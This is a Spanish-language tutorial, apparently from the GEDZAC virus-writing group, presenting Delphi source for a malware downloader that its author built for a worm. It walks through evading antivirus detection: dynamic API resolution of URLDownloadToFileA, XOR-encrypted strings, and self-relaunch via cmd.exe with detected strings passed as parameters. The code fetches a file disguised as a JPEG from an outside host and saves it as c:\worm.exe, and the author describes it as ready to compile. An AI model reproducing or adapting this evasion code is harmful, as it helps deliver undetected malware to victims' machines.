#Downloader indetectable
#Autor: Pana_Infierno[GEDZAC] <pana_infierno@gedzac.com>

Hola a todos los seguidores de GEDZAC, bueno todos en algun momento necesitamos bajar un archivo desde Internet ya sea para un virus, worm o una aplicación normal, yo lo necesitaba para un worm y no pude usar solo porque habian muchos antivirus que me detectaban la rutina esta api URLDownloadToFile, por eso cree una rutina que me permite descargar un archivo de Internet pero sin ser detectado por ningun antivirus.

Vamos a escribir un pequeño fragmento de código en delphi declarando la función y la escanearemos:

program downloader_detectable;

  function URLDownloadToFile(Caller: cardinal; URL: PChar;
                             FileName: PChar; Reserved: LongWord;
                             StatusCB: cardinal): Longword; stdcall;
                             external 'URLMON.DLL' name 'URLDownloadToFileA';

begin

end.


Al hacer un escaneo con todos los antivirus se obtiene el siguiente resultado:

CAT-QuickHeal

Trojan.Agent.ipl

Fortinet

Win32/Dloader.BX!.tr

VBA32 Trojan.Win32.Dloader.Bx

Bueno tan solo con declarar la función es detectada por algunos antivirus y eso no me gusta ahora usare la función y escaneare nuevamente.

program downloader_detectable;

  function URLDownloadToFile(Caller: cardinal; URL: PChar;
                             FileName: PChar; Reserved: LongWord;
                             StatusCB: cardinal): Longword; stdcall;
                             external 'URLMON.DLL' name 'URLDownloadToFileA';

begin
 URLDownloadToFile(0,pchar('http://www.gedzac.com/nadia.jpg'),pchar('c:\worm.exe'),0,0);

end.

Ahora mas antivirus detectan la bendita función que tanto nos sirve, entonces hay que solucionar esto.

 

AntiVir

TR/Delphi.Downloader

Fortinet

Suspicious

NOD32v2 Probably unknown NewHeur_PE virus
Panda Suspicious
VBA32 Suspecte Of Win32.Trojan.Downloader

 

No expondré las pruebas que realice para lograr no ser detectado pero planteare los métodos:
1.- encriptar cadenas
2.- encriptar las funciones
3.- llamar con otro método a la función contenida en la dll.

Bueno aca va el código 100% funcional llegar y compilar.

program download_indetectable;

var
 URLDownloadToFile_:pointer;

  type
  FARPROC = Pointer;
  HINST = type LongWord;
  HMODULE = HINST;
  LPCSTR = PAnsiChar;

function GetProcAddress(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;
external 'kernel32.dll' name 'GetProcAddress';

function LoadLibraryA(lpLibFileName: PAnsiChar): HMODULE; stdcall;
 external 'kernel32.dll' name 'LoadLibraryA';

function CopyFile(lpExistingFileName, lpNewFileName: PAnsiChar; bFailIfExists: longBool): LongBool; stdcall;
 external 'kernel32.dll' name 'CopyFileA';

function WinExec(lpCmdLine: LPCSTR; uCmdShow: LongWord): LongWord; stdcall;
 external 'kernel32.dll' name 'WinExec';

function GetAPI(dll:string;api:string):pointer;
 var handle:integer;
     res:pointer;
  begin
   handle := LoadLibraryA(pchar(dll));
   res := GetProcAddress(Handle,Pchar(api));
   result := res;
 end;

function StrLen(const Str: PChar): Cardinal; assembler;
asm
        MOV     EDX,EDI
        MOV     EDI,EAX
        MOV     ECX,0FFFFFFFFH
        XOR     AL,AL
        REPNE   SCASB
        MOV     EAX,0FFFFFFFEH
        SUB     EAX,ECX
        MOV     EDI,EDX
end;

 

Function E(Texto:string;Clave:integer):string;
var
    Nuevo:string;
    Largo,I:Integer;
begin
 Largo := strLen(PChar(Texto));
  For i := 1 to Largo do
   begin
    Nuevo := Nuevo + chr(ord(Texto[i]) xor Clave);
   end;
    E := Nuevo;
end;

 procedure URLDownloadToFile(const url,archivo:string);
 var a,b:pchar;
 begin
 a := Pchar(archivo);
 b := Pchar(url);
 asm
  PUSH           0
  PUSH           0
  PUSH           a
  PUSH           b
  PUSH           0
  Call URLDownloadToFile_
 end;
 end;

begin
URLDownloadToFile_ := GetApi('urlmon.dll','URLDownloadToFileA');

URLDownloadToFile('http://www.gedzac.com/nadia.jpg','c:\worm.exe');

end.

Ahora lo compilare y lo escaneare nuevamente:
:s algo paso ahora hay 2 antivirus que me detectan algo, “virus total es una trampa mortal”, este código antes de escanearlo ahí hace como un mes atrás era indetectable 100%

NOD32v2 Probably unknown NewHeur_PE virus
VBA32 Suspecte Of Win32.Trojan.Downloader

Esta claro el problema estoy verificando…, definitivamente ese par de antivirus que detectan el modulo, esta cadena de texto http://,  el problema es que si saco esta cadena no puedo descargar el archivo. Bueno mientas desarrollaba este artículo me encontré con el problema de arriba, he probado varios métodos para eliminarlos pero me he encontrado con una gran sorpresa, comente todas las líneas de código y compile el programa asi quedo:

Fortines Trojan.Agent.ipl
VBA32 Trojan Win32.Dloader.BX

3 antivirus me detectan el archivo como virus :s, asi que seguiré exponiendo lo anterior.

Después de vario análisis he concluido en que los antivirus detectan estas cadenas ya estén encriptadas o no:
urlmon.dll
URLDownloadToFileA
http://

bueno como solucionamos esto si no hay forma aparente de saltarse esto porque siempre detectara la cadena porque algunos antivirus lo hacen en tiempo de ejecución una ves nuestro programa ya ha desencriptado las cadenas, la solución esta en abrir nuestro mismo programa pasándole las cadenas que el antivirus detecta como parámetros, usaremos esta fusión: paramstr(i)
asi que cambiaremos esta parte del código

begin
 URLDownloadToFile_ := GetApi('urlmon.dll','URLDownloadToFileA');

 URLDownloadToFile('http://www.gedzac.com/nadia.jpg','c:\worm.exe');

end.

por esta otra

begin

//P1:=' urlmon.dll';
//P2:=' URLDownloadToFileA';
//P3:=' http://www.gedzac.com/nadia.jpg';

P1:=e('*xfged$nff',10);
P2:=e('*_XFNe}dfekn^eLcfoK',10);
P3:=e('*b~~z0%%}}}$monpki$ieg%dknck$`zm',10);

if (paramstr(1) <> '') or (paramstr(2) <> '') or (paramstr(3) <> '') then
 begin
  URLDownloadToFile_ := GetApi(paramstr(1),paramstr(2));
  URLDownloadToFile(paramstr(3),'c:\worm.exe');
 end
  else
   begin
    copyFile(pchar(paramstr(0)),pchar('c:\nuevo.exe'),true);
    sleep(1000);
    accion:='Cmd.exe /c c:\nuevo.exe '+ P1 + P2 + P3;
    WinExec(pchar(accion),0);
   end;
end.

Parámetro 1 = urlmon.dll
Parámetro 2 = URLDownloadToFileA
Parámetro 3 = http://www.gedzac.com/nadia.jpg

Despues de hacer esto ninguna heuristica de ningun antivirus detecto esto...:)

Saludos espero que les sea de ayuda.